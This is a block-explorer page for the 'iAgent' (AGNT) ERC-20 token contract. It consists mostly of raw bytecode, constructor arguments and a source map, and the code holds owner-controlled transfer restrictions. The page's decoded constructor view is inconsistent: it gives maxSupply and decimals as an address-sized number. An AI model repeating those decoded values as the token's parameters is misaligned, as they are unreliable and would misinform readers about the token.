133831016604e8410600b8410161715610627575081810a61064a565b6106335f19848461056b565b805f190482111561064657610646610557565b0290505b92915050565b5f61065e60ff8416836105ae565b9392505050565b808202811582820484141761064a5761064a610557565b8082018082111561064a5761064a610557565b610ae08061069c5f395ff3fe608060405234801561000f575f5ffd5b50600436106100e5575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101c1578063a9059cbb146101c9578063dd62ed3e146101dc578063f2fde38b14610214575f5ffd5b806370a0823114610175578063715018a61461019d5780638da5cb5b146101a7575f5ffd5b806318160ddd116100c357806318160ddd1461012e57806323b872dd14610140578063313ce567146101535780634313b9e514610162575f5ffd5b806302ac8168146100e957806306fdde0314610106578063095ea7b31461011b575b5f5ffd5b6100f1610227565b60405190151581526020015b60405180910390f35b61010e610244565b6040516100fd91906108b6565b6100f1610129366004610901565b6102d4565b6003545b6040519081526020016100fd565b6100f161014e366004610929565b610305565b604051601281526020016100fd565b6100f1610170366004610963565b6104bf565b61013261018336600461097a565b6001600160a01b03165f9081526001602052604090205490565b6101a56104d6565b005b5f546040516001600160a01b0390911681526020016100fd565b61010e6104e9565b6100f16101d7366004610901565b6104f8565b6101326101ea36600461099a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101a561022236600461097a565b61051d565b5f61023061055a565b506008805460ff1916600190811790915590565b606060048054610253906109cb565b80601f016020809104026020016040519081016040528092919081815260200182805461027f906109cb565b80156102ca5780601f106102a1576101008083540402835291602001916102ca565b820191905f5260205f20905b8154815290600101906020018083116102ad57829003601f168201915b5050505050905090565b5f6001600a5f8282546102e79190610a03565b909155503390506102f9818585610586565b60019150505b92915050565b5f6001600c5f8282546103189190610a03565b90915550506001600160a01b0384165f9081526002602090815260408083203380855292529091205460085460ff161580156103605750611000546001600160a01b03831614155b801561037957505f546001600160a01b03838116911614155b801561039257505f546001600160a01b03878116911614155b156103dd5760405162461bcd60e51b8152602060048201526016602482015275151bdad95b881b9bdd081b185d5b98da1959081e595d60521b60448201526064015b60405180910390fd5b5f546001600160a01b038381169116148015906104065750611000546001600160a01b03831614155b156104a8575f1981101561045c578381101561044e57604051637dc7a0d960e11b81526001600160a01b038316600482015260248101829052604481018590526064016103d4565b61045c86838684035f610598565b6001600160a01b0386166104825760405162461bcd60e51b81526004016103d490610a22565b6001600160a01b0385166104a85760405162461bcd60e51b81526004016103d490610a67565b6104b386868661066b565b50600195945050505050565b5f6104c861055a565b50601081905560015b919050565b6104de61055a565b6104e75f610791565b565b606060058054610253906109cb565b5f600160095f82825461050b9190610a03565b909155503390506102f98185856107e0565b61052561055a565b6001600160a01b03811661054e57604051631e4fbdf760e01b81525f60048201526024016103d4565b61055781610791565b50565b5f546001600160a01b031633146104e75760405163118cdaa760e01b81523360048201526024016103d4565b6105938383836001610598565b505050565b6001600160a01b0384166105c15760405163e602df0560e01b81525f60048201526024016103d4565b6001600160a01b0383166105ea57604051634a1406b160e11b81525f60048201526024016103d4565b6001600160a01b038085165f908152600260209081526040808320938716835292905220829055801561066557826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161065c91815260200190565b60405180910390a35b50505050565b6001600160a01b038316610695578060035f82825461068a9190610a03565b909155506107059050565b6001600160a01b0383165f90815260016020526040902054818110156106e75760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016103d4565b6001600160a01b0384165f9081526001602052604090209082900390555b6001600160a01b0382166107215760038054829003905561073f565b6001600160a01b0382165f9081526001602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161078491815260200190565b60405180910390a3505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60085460ff1615801561080057505f546001600160a01b03848116911614155b801561081957505f546001600160a01b03838116911614155b1561085f5760405162461bcd60e51b8152602060048201526016602482015275151bdad95b881b9bdd081b185d5b98da1959081e595d60521b60448201526064016103d4565b6001600160a01b0383166108855760405162461bcd60e51b81526004016103d490610a22565b6001600160a01b0382166108ab5760405162461bcd60e51b81526004016103d490610a67565b61059383838361066b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146104d1575f5ffd5b5f5f60408385031215610912575f5ffd5b61091b836108eb565b946020939093013593505050565b5f5f5f6060848603121561093b575f5ffd5b610944846108eb565b9250610952602085016108eb565b929592945050506040919091013590565b5f60208284031215610973575f5ffd5b5035919050565b5f6020828403121561098a575f5ffd5b610993826108eb565b9392505050565b5f5f604083850312156109ab575f5ffd5b6109b4836108eb565b91506109c2602084016108eb565b90509250929050565b600181811c908216806109df57607f821691505b6020821081036109fd57634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102ff57634e487b7160e01b5f52601160045260245ffd5b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b60608201526080019056fea2646970667358221220bddd44fcdfd813b960d1b97fd8d7306fa12156fdeb8732a0128f6aa02e470b0164736f6c634300081c003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000496cbdcd64d7cceaeb37950015150de62d4ebf3a000000000000000000000000496cbdcd64d7cceaeb37950015150de62d4ebf3a0000000000000000000000000000000000000000000000000000000000000006694167656e740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000441474e5400000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f5ffd5b50600436106100e5575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101c1578063a9059cbb146101c9578063dd62ed3e146101dc578063f2fde38b14610214575f5ffd5b806370a0823114610175578063715018a61461019d5780638da5cb5b146101a7575f5ffd5b806318160ddd116100c357806318160ddd1461012e57806323b872dd14610140578063313ce567146101535780634313b9e514610162575f5ffd5b806302ac8168146100e957806306fdde0314610106578063095ea7b31461011b575b5f5ffd5b6100f1610227565b60405190151581526020015b60405180910390f35b61010e610244565b6040516100fd91906108b6565b6100f1610129366004610901565b6102d4565b6003545b6040519081526020016100fd565b6100f161014e366004610929565b610305565b604051601281526020016100fd565b6100f1610170366004610963565b6104bf565b61013261018336600461097a565b6001600160a01b03165f9081526001602052604090205490565b6101a56104d6565b005b5f546040516001600160a01b0390911681526020016100fd565b61010e6104e9565b6100f16101d7366004610901565b6104f8565b6101326101ea36600461099a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101a561022236600461097a565b61051d565b5f61023061055a565b506008805460ff1916600190811790915590565b606060048054610253906109cb565b80601f016020809104026020016040519081016040528092919081815260200182805461027f906109cb565b80156102ca5780601f106102a1576101008083540402835291602001916102ca565b820191905f5260205f20905b8154815290600101906020018083116102ad57829003601f168201915b5050505050905090565b5f6001600a5f8282546102e79190610a03565b909155503390506102f9818585610586565b60019150505b92915050565b5f6001600c5f8282546103189190610a03565b90915550506001600160a01b0384165f9081526002602090815260408083203380855292529091205460085460ff161580156103605750611000546001600160a01b03831614155b801561037957505f546001600160a01b03838116911614155b801561039257505f546001600160a01b03878116911614155b156103dd5760405162461bcd60e51b8152602060048201526016602482015275151bdad95b881b9bdd081b185d5b98da1959081e595d60521b60448201526064015b60405180910390fd5b5f546001600160a01b038381169116148015906104065750611000546001600160a01b03831614155b156104a8575f1981101561045c578381101561044e57604051637dc7a0d960e11b81526001600160a01b038316600482015260248101829052604481018590526064016103d4565b61045c86838684035f610598565b6001600160a01b0386166104825760405162461bcd60e51b81526004016103d490610a22565b6001600160a01b0385166104a85760405162461bcd60e51b81526004016103d490610a67565b6104b386868661066b565b50600195945050505050565b5f6104c861055a565b50601081905560015b919050565b6104de61055a565b6104e75f610791565b565b606060058054610253906109cb565b5f600160095f82825461050b9190610a03565b909155503390506102f98185856107e0565b61052561055a565b6001600160a01b03811661054e57604051631e4fbdf760e01b81525f60048201526024016103d4565b61055781610791565b50565b5f546001600160a01b031633146104e75760405163118cdaa760e01b81523360048201526024016103d4565b6105938383836001610598565b505050565b6001600160a01b0384166105c15760405163e602df0560e01b81525f60048201526024016103d4565b6001600160a01b0383166105ea57604051634a1406b160e11b81525f60048201526024016103d4565b6001600160a01b038085165f908152600260209081526040808320938716835292905220829055801561066557826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161065c91815260200190565b60405180910390a35b50505050565b6001600160a01b038316610695578060035f82825461068a9190610a03565b909155506107059050565b6001600160a01b0383165f90815260016020526040902054818110156106e75760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016103d4565b6001600160a01b0384165f9081526001602052604090209082900390555b6001600160a01b0382166107215760038054829003905561073f565b6001600160a01b0382165f9081526001602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161078491815260200190565b60405180910390a3505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60085460ff1615801561080057505f546001600160a01b03848116911614155b801561081957505f546001600160a01b03838116911614155b1561085f5760405162461bcd60e51b8152602060048201526016602482015275151bdad95b881b9bdd081b185d5b98da1959081e595d60521b60448201526064016103d4565b6001600160a01b0383166108855760405162461bcd60e51b81526004016103d490610a22565b6001600160a01b0382166108ab5760405162461bcd60e51b81526004016103d490610a67565b61059383838361066b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146104d1575f5ffd5b5f5f60408385031215610912575f5ffd5b61091b836108eb565b946020939093013593505050565b5f5f5f6060848603121561093b575f5ffd5b610944846108eb565b9250610952602085016108eb565b929592945050506040919091013590565b5f60208284031215610973575f5ffd5b5035919050565b5f6020828403121561098a575f5ffd5b610993826108eb565b9392505050565b5f5f604083850312156109ab575f5ffd5b6109b4836108eb565b91506109c2602084016108eb565b90509250929050565b600181811c908216806109df57607f821691505b6020821081036109fd57634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102ff57634e487b7160e01b5f52601160045260245ffd5b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b60608201526080019056fea2646970667358221220bddd44fcdfd813b960d1b97fd8d7306fa12156fdeb8732a0128f6aa02e470b0164736f6c634300081c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000496cbdcd64d7cceaeb37950015150de62d4ebf3a000000000000000000000000496cbdcd64d7cceaeb37950015150de62d4ebf3a0000000000000000000000000000000000000000000000000000000000000006694167656e740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000441474e5400000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): iAgent
Arg [1] : symbol (string): AGNT
Arg [2] : initialMint (uint256): 1000000000
Arg [3] : maxSupply_ (uint256): 419181340865551213674128502932855328983028252474
Arg [4] : decimals_ (uint256): 419181340865551213674128502932855328983028252474

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [3] : 000000000000000000000000496cbdcd64d7cceaeb37950015150de62d4ebf3a
Arg [4] : 000000000000000000000000496cbdcd64d7cceaeb37950015150de62d4ebf3a
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 694167656e740000000000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [8] : 41474e5400000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

30515:726:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30400:108;;;:::i;:::-;;;179:14:1;;172:22;154:41;;142:2;127:18;30400:108:0;;;;;;;;19672:91;;;:::i;:::-;;;;;;;:::i;22001:229::-;;;;;;:::i;:::-;;:::i;20774:99::-;20853:12;;20774:99;;;1258:25:1;;;1246:2;1231:18;20774:99:0;1112:177:1;22856:1085:0;;;;;;:::i;:::-;;:::i;20625:84::-;;;20699:2;1815:36:1;;1803:2;1788:18;20625:84:0;1673:184:1;30658:168:0;;;;;;:::i;:::-;;:::i;20936:118::-;;;;;;:::i;:::-;-1:-1:-1;;;;;21028:18:0;21001:7;21028:18;;;:9;:18;;;;;;;20936:118;9066:108;;;:::i;:::-;;8797:87;8843:7;8870:6;8797:87;;-1:-1:-1;;;;;8870:6:0;;;2430:51:1;;2418:2;2403:18;8797:87:0;2284:203:1;19882:95:0;;;:::i;21259:218::-;;;;;;:::i;:::-;;:::i;21540:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;21647:18:0;;;21620:7;21647:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;21540:142;9182:225;;;;;;:::i;:::-;;:::i;30400:108::-;30446:4;8756:13;:11;:13::i;:::-;-1:-1:-1;30462:9:0::1;:16:::0;;-1:-1:-1;;30462:16:0::1;30474:4;30462:16:::0;;::::1;::::0;;;30400:108;:::o;19672:91::-;19717:13;19750:5;19743:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19672:91;:::o;22001:229::-;22074:4;22110:1;22091:15;;:20;;;;;;;:::i;:::-;;;;-1:-1:-1;4038:10:0;;-1:-1:-1;22161:39:0;4038:10;22185:7;22194:5;22161:16;:39::i;:::-;22218:4;22211:11;;;22001:229;;;;;:::o;22856:1085::-;22943:4;22983:1;22960:19;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;21647:18:0;;22995:15;21647:18;;;:11;:18;;;;;;;;4038:10;21647:27;;;;;;;;;23101:9;;;;:18;;;:52;;-1:-1:-1;5427:6:0;5421:13;-1:-1:-1;;;;;23124:27:0;;5453:23;23123:30;23101:52;:74;;;;-1:-1:-1;8843:7:0;8870:6;-1:-1:-1;;;;;23157:18:0;;;8870:6;;23157:18;;23101:74;:93;;;;-1:-1:-1;8843:7:0;8870:6;-1:-1:-1;;;;;23179:15:0;;;8870:6;;23179:15;;23101:93;23098:157;;;23211:32;;-1:-1:-1;;;23211:32:0;;3571:2:1;23211:32:0;;;3553:21:1;3610:2;3590:18;;;3583:30;-1:-1:-1;;;3629:18:1;;;3622:52;3691:18;;23211:32:0;;;;;;;;23098:157;8843:7;8870:6;-1:-1:-1;;;;;23268:18:0;;;8870:6;;23268:18;;;;:52;;-1:-1:-1;5427:6:0;5421:13;-1:-1:-1;;;;;23291:27:0;;5453:23;23290:30;23268:52;23265:596;;;-1:-1:-1;;23341:16:0;:36;23337:351;;;23421:5;23402:16;:24;23398:140;;;23458:60;;-1:-1:-1;;;23458:60:0;;-1:-1:-1;;;;;3940:32:1;;23458:60:0;;;3922:51:1;3989:18;;;3982:34;;;4032:18;;;4025:34;;;3895:18;;23458:60:0;3720:345:1;23398:140:0;23589:64;23606:4;23612:7;23640:5;23621:16;:24;23647:5;23589:16;:64::i;:::-;-1:-1:-1;;;;;23710:18:0;;23702:68;;;;-1:-1:-1;;;23702:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;23793:16:0;;23785:64;;;;-1:-1:-1;;;23785:64:0;;;;;;;:::i;:::-;23871:40;23895:4;23901:2;23905:5;23871:23;:40::i;:::-;-1:-1:-1;23929:4:0;;22856:1085;-1:-1:-1;;;;;22856:1085:0:o;30658:168::-;30731:4;8756:13;:11;:13::i;:::-;-1:-1:-1;30748:23:0::1;:48:::0;;;30814:4:::1;8780:1;30658:168:::0;;;:::o;9066:108::-;8756:13;:11;:13::i;:::-;9131:35:::1;9163:1;9131:23;:35::i;:::-;9066:108::o:0;19882:95::-;19929:13;19962:7;19955:14;;;;;:::i;21259:218::-;21328:4;21364:1;21345:15;;:20;;;;;;;:::i;:::-;;;;-1:-1:-1;4038:10:0;;-1:-1:-1;21415:32:0;4038:10;21437:2;21441:5;21415:14;:32::i;9182:225::-;8756:13;:11;:13::i;:::-;-1:-1:-1;;;;;9267:22:0;::::1;9263:93;;9313:31;::::0;-1:-1:-1;;;9313:31:0;;9341:1:::1;9313:31;::::0;::::1;2430:51:1::0;2403:18;;9313:31:0::1;2284:203:1::0;9263:93:0::1;9366:33;9390:8;9366:23;:33::i;:::-;9182:225:::0;:::o;8892:166::-;8843:7;8870:6;-1:-1:-1;;;;;8870:6:0;4038:10;8952:23;8948:103;;8999:40;;-1:-1:-1;;;8999:40:0;;4038:10;8999:40;;;2430:51:1;2403:18;;8999:40:0;2284:203:1;27994:146:0;28087:45;28104:5;28111:7;28120:5;28127:4;28087:16;:45::i;:::-;27994:146;;;:::o;29047:451::-;-1:-1:-1;;;;;29168:19:0;;29164:91;;29211:32;;-1:-1:-1;;;29211:32:0;;29240:1;29211:32;;;2430:51:1;2403:18;;29211:32:0;2284:203:1;29164:91:0;-1:-1:-1;;;;;29269:21:0;;29265:92;;29314:31;;-1:-1:-1;;;29314:31:0;;29342:1;29314:31;;;2430:51:1;2403:18;;29314:31:0;2284:203:1;29265:92:0;-1:-1:-1;;;;;29367:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;29413:78;;;;29464:7;-1:-1:-1;;;;;29448:31:0;29457:5;-1:-1:-1;;;;;29448:31:0;;29473:5;29448:31;;;;1258:25:1;;1246:2;1231:18;;1112:177;29448:31:0;;;;;;;;29413:78;29047:451;;;;:::o;25080:1161::-;-1:-1:-1;;;;;25196:18:0;;25192:552;;25350:5;25334:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;25192:552:0;;-1:-1:-1;25192:552:0;;-1:-1:-1;;;;;25410:15:0;;25388:19;25410:15;;;:9;:15;;;;;;25444:19;;;25440:117;;;25491:50;;-1:-1:-1;;;25491:50:0;;-1:-1:-1;;;;;3940:32:1;;25491:50:0;;;3922:51:1;3989:18;;;3982:34;;;4032:18;;;4025:34;;;3895:18;;25491:50:0;3720:345:1;25440:117:0;-1:-1:-1;;;;;25680:15:0;;;;;;:9;:15;;;;;25698:19;;;;25680:37;;25192:552;-1:-1:-1;;;;;25760:16:0;;25756:435;;25926:12;:21;;;;;;;25756:435;;;-1:-1:-1;;;;;26142:13:0;;;;;;:9;:13;;;;;:22;;;;;;25756:435;26223:2;-1:-1:-1;;;;;26208:25:0;26217:4;-1:-1:-1;;;;;26208:25:0;;26227:5;26208:25;;;;1258::1;;1246:2;1231:18;;1112:177;26208:25:0;;;;;;;;25080:1161;;;:::o;9415:196::-;9494:16;9513:6;;-1:-1:-1;;;;;9530:17:0;;;-1:-1:-1;;;;;;9530:17:0;;;;;;9563:40;;9513:6;;;;;;;9563:40;;9494:16;9563:40;9483:128;9415:196;:::o;24342:414::-;24430:9;;;;:18;;;:37;;-1:-1:-1;8843:7:0;8870:6;-1:-1:-1;;;;;24452:15:0;;;8870:6;;24452:15;;24430:37;:54;;;;-1:-1:-1;8843:7:0;8870:6;-1:-1:-1;;;;;24471:13:0;;;8870:6;;24471:13;;24430:54;24427:117;;;24500:32;;-1:-1:-1;;;24500:32:0;;3571:2:1;24500:32:0;;;3553:21:1;3610:2;3590:18;;;3583:30;-1:-1:-1;;;3629:18:1;;;3622:52;3691:18;;24500:32:0;3369:346:1;24427:117:0;-1:-1:-1;;;;;24562:18:0;;24554:68;;;;-1:-1:-1;;;24554:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;24641:16:0;;24633:64;;;;-1:-1:-1;;;24633:64:0;;;;;;;:::i;:::-;24708:40;24732:4;24738:2;24742:5;24708:23;:40::i;206:418:1:-;355:2;344:9;337:21;318:4;387:6;381:13;430:6;425:2;414:9;410:18;403:34;489:6;484:2;476:6;472:15;467:2;456:9;452:18;446:50;545:1;540:2;531:6;520:9;516:22;512:31;505:42;615:2;608;604:7;599:2;591:6;587:15;583:29;572:9;568:45;564:54;556:62;;;206:418;;;;:::o;629:173::-;697:20;;-1:-1:-1;;;;;746:31:1;;736:42;;726:70;;792:1;789;782:12;807:300;875:6;883;936:2;924:9;915:7;911:23;907:32;904:52;;;952:1;949;942:12;904:52;975:29;994:9;975:29;:::i;:::-;965:39;1073:2;1058:18;;;;1045:32;;-1:-1:-1;;;807:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:226::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;-1:-1:-1;2035:23:1;;1862:226;-1:-1:-1;1862:226:1:o;2093:186::-;2152:6;2205:2;2193:9;2184:7;2180:23;2176:32;2173:52;;;2221:1;2218;2211:12;2173:52;2244:29;2263:9;2244:29;:::i;:::-;2234:39;2093:186;-1:-1:-1;;;2093:186:1:o;2492:260::-;2560:6;2568;2621:2;2609:9;2600:7;2596:23;2592:32;2589:52;;;2637:1;2634;2627:12;2589:52;2660:29;2679:9;2660:29;:::i;:::-;2650:39;;2708:38;2742:2;2731:9;2727:18;2708:38;:::i;:::-;2698:48;;2492:260;;;;;:::o;2757:380::-;2836:1;2832:12;;;;2879;;;2900:61;;2954:4;2946:6;2942:17;2932:27;;2900:61;3007:2;2999:6;2996:14;2976:18;2973:38;2970:161;;3053:10;3048:3;3044:20;3041:1;3034:31;3088:4;3085:1;3078:15;3116:4;3113:1;3106:15;2970:161;;2757:380;;;:::o;3142:222::-;3207:9;;;3228:10;;;3225:133;;;3280:10;3275:3;3271:20;3268:1;3261:31;3315:4;3312:1;3305:15;3343:4;3340:1;3333:15;4070:401;4272:2;4254:21;;;4311:2;4291:18;;;4284:30;4350:34;4345:2;4330:18;;4323:62;-1:-1:-1;;;4416:2:1;4401:18;;4394:35;4461:3;4446:19;;4070:401::o;4476:399::-;4678:2;4660:21;;;4717:2;4697:18;;;4690:30;4756:34;4751:2;4736:18;;4729:62;-1:-1:-1;;;4822:2:1;4807:18;;4800:33;4865:3;4850:19;;4476:399::o

Swarm Source

ipfs://bddd44fcdfd813b960d1b97fd8d7306fa12156fdeb8732a0128f6aa02e470b01
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.